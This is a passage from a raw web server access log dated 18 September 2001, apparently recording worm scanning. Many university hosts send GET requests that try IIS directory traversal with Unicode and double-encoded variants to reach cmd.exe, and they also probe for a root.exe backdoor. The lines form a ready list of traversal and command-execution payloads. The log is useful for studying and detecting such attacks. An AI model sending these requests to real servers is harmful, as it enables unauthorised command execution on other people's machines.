/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:26:49: [128.208.81.178] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:07: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:07: www.kiprc.uky.edu [128.163.39.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:07: [128.208.81.178] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:26: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:26: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:26: [128.208.81.178] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:44: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:45: www.kiprc.uky.edu [128.163.39.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:27:45: [128.208.81.178] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:03: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:03: www.kiprc.uky.edu [128.163.39.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:03: [128.208.81.178] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:22: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:22: www.kiprc.uky.edu [128.163.39.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:22: [128.208.81.178] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:40: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:28:40: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:28:40: [128.208.81.178] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:00: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:00: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:29:00: [128.208.81.178] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:18: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:18: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:18: [128.208.81.178] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:37: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:37: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:37: [128.208.81.178] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:55: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:55: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:29:55: [128.208.81.178] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:15: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:15: hprg18.soceco.uci.edu [128.200.109.141] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:30:15: [128.208.81.178] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:33: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:33: hprg18.soceco.uci.edu [128.200.109.141] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:30:33: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:33: [128.208.81.178] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: hprg18.soceco.uci.edu [128.200.109.141] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:53: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:30:56: [128.164.29.53] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:34:24: [128.164.29.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:34:42: [128.164.29.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:35:00: [128.164.29.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:35:18: [128.164.29.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:35:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:35:37: [128.164.29.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:35:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:35:55: [128.164.29.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:36:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:36:13: [128.164.29.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:36:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:36:31: [128.171.141.249] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:36:53: [128.164.29.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:37:11: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:37:11: [128.171.141.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:37:29: [128.164.29.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:37:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:37:48: [128.164.29.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:06: [128.164.29.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:24: [128.164.29.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:38:44: [128.164.29.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:02: [128.164.29.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:20: [128.164.29.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:39: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:39:50: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:40:04: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:40:04: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:40:06: [128.171.166.37] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:40:47: [128.171.166.37] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:41:05: [128.171.166.37] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:41:24: [128.171.166.37] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:41:42: [128.171.166.37] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:01: [128.171.166.37] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:19: [128.171.166.37] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:38: [128.171.166.37] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:42:56: [128.171.166.37] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:43:15: [128.171.166.37] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:43:33: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:44:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:08: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:45:08: itboss.syr.edu [128.230.182.161] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:46:30: itboss.syr.edu [128.230.182.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET 